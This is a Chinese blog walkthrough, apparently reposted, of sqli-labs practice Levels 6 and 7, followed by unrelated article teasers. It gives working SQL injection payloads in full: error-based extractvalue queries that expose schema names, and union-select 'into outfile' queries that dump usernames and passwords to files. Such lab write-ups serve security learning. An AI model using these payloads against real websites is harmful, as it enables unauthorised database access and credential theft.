【sqli靶场】第六关和第七关通关思路

目录

前言

一、sqli靶场第六关

1.1 判断注入类型

1.2 观察报错  

1.3 使用extractvalue函数报错

1.4 爆出数据库中的表名

二、sqli靶场第七关

1.1 判断注入类型

1.2 判断数据表中的字段数

1.3 提示

1.4 构造poc爆库名

1.5 构造poc爆表名

1.6 构造poc爆字段名

1.7 构造poc获取账号和密码


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

 sqli靶场第1关:filotimo.blog.less1

 sqli靶场第2-3关:filotimo.blog.less2-3

 sqli靶场第4-5关:filotimo.blog.less4-5


一、sqli靶场第六关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

1.2 观察报错  

报错信息为'"1"" LIMIT 0,1' 

判断其为"闭合

输入?id=1'' --+,正常回显。

Less6的正常回显和Less5一样,都没有显示位,我们还是考虑报错注入。

1.3 使用extractvalue函数报错

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+

结果如图:

我们能看到数据库名为security。

1.4 爆出数据库中的表名

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

结果如图:

我们能看到表名为emails,referers,uagents,users。

点到为止,后面内容跟Less5思路一样,可以看我前面写的博客。

二、sqli靶场第七关

1.1 判断注入类型

输入?id=1' and 1=1 --+,报语法错误。

输入?id=1'' and 1=1 --+,正常回显(''是两个英文单引号)。

但输入?id=1" and 1=2 --+,仍然是正常回显,说明不只是引号注入。

​常用闭合方式有:

?id=1'--+

?id=1"--+

?id=1')--+

?id=1")--+

?id=1'))--+

?id=1"))--+

当输入?id=1')) and 1=1 --+,正常回显。输入?id=1')) and 1=2 --+,报语法错误。说明是'))的闭合方式。

1.2 判断数据表中的字段数

用二分法与order by确定列数为3。

输入?id=1')) order by 3 --+,正常回显。

输入?id=1')) order by 4 --+,报错。

所以数据表中有3个字段。

1.3 提示

正常回显中提示: Use outfile......

在数据库中,outfile是一个命令,用于导出数据到文件。

以下是使用 into outfile 语句的一般语法:

SELECT column1, column2, ...
FROM table
INTO OUTFILE 'file_path'

其中,SELECT 语句是你的查询语句,column1, column2, ... 是需要获取的列名,table 是要查询的表名。而 'file_path' 是你希望将结果导出到的文件的路径。

into outfile() 写入文件,前提是要MySQL数据库开启secure-file-priv写文件权限,也就是secure_file_priv不为NULL。

我们进入MySQL命令窗口,输入show variables lilke '%secure%' ;

我的界面如图:

我用的是phpstudy,然后进入mysql安装目录,我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26

进入目录,打开my.ini ,我的文件里面没有secure_file_priv,手动添加secure_file_priv=""

保存后退出,然后重启MySQL
 

再进入MySQL命令窗口,输入show variables lilke '%secure%' ;

这次我的界面如图:

1.4 构造poc爆库名

构造poc:

?id=-1')) union select user(),version(),database() into outfile "C:\\Users\\admin\\Desktop\\database.txt" --+

输入这个poc,它会报语法错误,但不要急,看看你的桌面,你会发现桌面上多了一个名为database.txt的文件。( into outfile 后面的路径分隔符不能是\)

database.txt文件内容:

可以知道数据库的名字为security

1.5 构造poc爆表名

group_concat是一个聚合函数,用于将一组数据按照指定的顺序连接起来,并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接,从而构建出一段文本。

例如,我们有一张表格product,其中包含了id, name和color三个字段,现在我们需要将所有产品的名称连接起来,这时就可以使用group_concat函数:

SELECT GROUP_CONCAT(name) FROM product;

该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号,可以在 group_concat函数中指定separator参数,例如:

SELECT GROUP_CONCAT(name SEPARATOR ';') FROM product;

该查询将以分号作为连接符号返回所有的产品名称。

构造poc:

?id=-1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "C:\\Users\\admin\\Desktop\\tables.txt" --+

桌面上会出现tables.txt,文件内容为:

可以知道security库中表名为emails,referers,uagents,users。

1.6 构造poc爆字段名

爆出users表中的字段名:

?id=-1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile "C:\\Users\\admin\\Desktop\\column.txt" --+

桌面上会出现column.txt,文件内容为:

可以知道users表中字段名为id,username,password。

1.7 构造poc获取账号和密码

构造poc:

?id=-1')) union select user(),version(),(select group_concat((concat_ws('~',username,password)) separator ';')from security.users )into outfile "C:\\Users\\admin\\Desktop\\password.txt" --+

桌面上会出现password.txt,文件内容为:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/219977.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Note3---初阶二叉树~~

目录​​​​​​​ 前言🍄 1.树概念及结构☎️ 1.1 树的概念🎄 1.2 树的相关概念🦜 1.2.1 部分概念的加深理解🐾 1.2.2 树与非树🪴 1.3 树的表示🎋 1.4 树在实际中的运用(表示文件系统…

slurm 23.11.0集群 debian 11.5 安装

slurm 23.11.0集群 debian 11.5 安装 用途 Slurm(Simple Linux Utility for Resource Management, http://slurm.schedmd.com/ )是开源的、具有容错性和高度可扩展的Linux集群超级计算系统资源管理和作业调度系统。超级计算系统可利用Slurm对资源和作业进行管理&a…

linux(centos7)离线安装mysql-5.7.35-1.el7.x86_64.rpm-bundle.tar

1. 卸载mariadb相关rpm # 查找 rpm -qa|grep mariadb rpm -qa|grep mysql# 卸载 rpm -e --nodeps mariadb... rpm -e --nodeps mysql...2. 删除mysql相关文件 # 查找 find / -name mysql# 删除 rm -rf /var/lib/mysql...3. 查看是否有相关依赖,没有需安装 rpm -q…

59. 螺旋矩阵 II(java实现,史上最详细教程,想学会的进!!!)

今天来分享一下螺旋矩阵的解题思路及代码的实现。 题目描述如下: 首先拿到这道题,首先不要慌张,我们来仔细分析一下会发现并没有那么难。 首先看下边界的元素是1、2、3递增的,那么我们也许可以根据这一点先把边界的元素一个一个给…

Leetcode刷题笔记题解(C++):224. 基本计算器

思路: step 1:使用栈辅助处理优先级,默认符号为加号。 step 2:遍历字符串,遇到数字,则将连续的数字字符部分转化为int型数字。 step 3:遇到左括号,则将括号后的部分送入递归&#x…

WPF 显示PDF、PDF转成图片

1.NuGet 安装 O2S.Components.PDFView4NET.WPF 2.添加组件 工具箱中&#xff0c;空白处 右键&#xff0c;选择项 WPF组件 界面&#xff0c;选择NuGet安装库对面路径下的 O2S.Components.PDFView4NET.WPF.dll 3.引入组件命名空间&#xff0c;并使用 <Windowxmlns"htt…

【Hadoop】

Hadoop是一个开源的分布式离线数据处理框架&#xff0c;底层是用Java语言编写的&#xff0c;包含了HDFS、MapReduce、Yarn三大部分。 组件配置文件启动进程备注Hadoop HDFS需修改需启动 NameNode(NN)作为主节点 DataNode(DN)作为从节点 SecondaryNameNode(SNN)主节点辅助分…

C# 图解教程 第5版 —— 第18章 泛型

文章目录 18.1 什么是泛型18.2 C# 中的泛型18.3 泛型类18.3.1 声明泛型类18.3.2 创建构造类型18.3.3 创建变量和实例18.3.4 使用泛型的示例18.3.5 比较泛型和非泛型栈 18.4 类型参数的约束18.4.1 Where 子句18.4.2 约束类型和次序 18.5 泛型方法18.5.1 声明泛型方法18.5.2 调用…

c++ qt 窗口开发中 俩按钮组合 配合 显影 已解决

在日常项目中&#xff0c;有这么需求&#xff0c;还想窗口移动&#xff0c;还想 右侧关闭 还能tab栏点击显影的需求&#xff0c;不得使用 qt模拟点击事件 进行功能优化 特大杯 大杯 控制 窗口显影&#xff0c; 咖啡 按钮 显示窗口 可乐 豆浆 不显示窗口 四个按钮的 互斥关…

【网络安全】-Linux操作系统—操作系统发展历史与Linux

文章目录 操作系统发展历史初期的操作系统分时操作系统个人计算机操作系统 Linux的诞生UNIX与GNU项目Linux内核的创建 Linux的特点开放源代码多样性社区支持 Linux的应用服务器和超级计算机嵌入式系统桌面系统 总结 操作系统发展历史 操作系统&#xff08;Operating System&am…

YOLOv5改进 | 2023 | CARAFE提高精度的上采样方法(助力细节长点)

一、本文介绍 本文给大家带来的CARAFE&#xff08;Content-Aware ReAssembly of FEatures&#xff09;是一种用于增强卷积神经网络特征图的上采样方法。其主要旨在改进传统的上采样方法&#xff08;就是我们的Upsample&#xff09;的性能。CARAFE的核心思想是&#xff1a;使用…

饥荒Mod 开发(十一):修改物品堆叠

饥荒Mod 开发(十)&#xff1a;制作一把AOE武器 饥荒Mod 开发(十二)&#xff1a;一键制作 饥荒中物品栏有限&#xff0c;要拾取的物品有很多&#xff0c;经常装不下要忍痛丢掉各种东西&#xff0c;即使可以将物品放在仓库但是使用不方便&#xff0c;所以可以将物品的堆叠个数设…

17.Oracle中instr()函数查询字符位置

1、instr()函数的格式 &#xff08;俗称&#xff1a;字符查找函数&#xff09; 格式一&#xff1a;instr( string1, string2 ) // instr(源字符串, 目标字符串) 格式二&#xff1a;instr( string1, string2 [, start_position [, nth_appearance ] ] ) // instr(源字符…

软件开发人员,参加各种行业技术大会有意义么?

参加行业技术大会对于软件开发人员来说&#xff0c;是一个获取新知识、拓展视野、结交同行的宝贵机会。 1、知识更新&#xff1a;技术大会通常涵盖最新的技术趋势和工具。对于软件开发人员来说&#xff0c;这是了解新技术并将其应用到日常工作中的好机会。 2、拓宽视野&#x…

springMVC-@RequestMapping

基本介绍 RequestMapping注解可以指定控制器/处理器的某个方法的请求的url, 示例 &#xff08;结合springMVC基本原理理解&#xff09; Controller public class UserHandler {RequestMapping(value "/login")public String login() {System.out.println("登…

【数据结构】八大排序之直接插入排序算法

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 一.直接插入排序简介及思路 直接插入排序(Straight Insertion Sort)是一种简单直观的插入排序算法. 它的基本操作是: 将一个数据插入到已经排好的有序表中,从而得到一个新的,数…

LED恒流调节器FP7125,应用LED街道照明、调光电源、汽车大灯、T5T8日光灯

目录 一、FP7125概述 二、FP7125功能 三、应用领域 近年来&#xff0c;随着人们环保意识的不断增强&#xff0c;LED照明产品逐渐成为照明行业的主流。而作为LED照明产品中的重要配件&#xff0c;LED恒流调节器FP7125的出现为LED照明带来了全新的发展机遇。 一、FP7125概述 FP…

Re58:读论文 REALM: Retrieval-Augmented Language Model Pre-Training

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称&#xff1a;REALM: Retrieval-Augmented Language Model Pre-Training 模型名称&#xff1a;Retrieval-Augmented Language Model pre-training (REALM) 本文是2020年ICML论文&#xff0c;作者来自…

ElasticSearch学习篇8_Lucene之数据存储(Stored Field、DocValue、BKD Tree)

前言 Lucene全文检索主要分为索引、搜索两个过程&#xff0c;对于索引过程就是将文档磁盘存储然后按照指定格式构建索引文件&#xff0c;其中涉及数据存储一些压缩、数据结构设计还是很巧妙的&#xff0c;下面主要记录学习过程中的StoredField、DocValue以及磁盘BKD Tree的一些…

C语言函数

写一个函数将数组的全部内容变成 -1 #include<iostream> using namespace std;void print1_arr(int arr[10], int sz1) {for (int i 0; i < sz1; i){printf("%d ", arr[i]);}printf("\n"); }void print2_arr(int arr[10], int sz1) {for (int…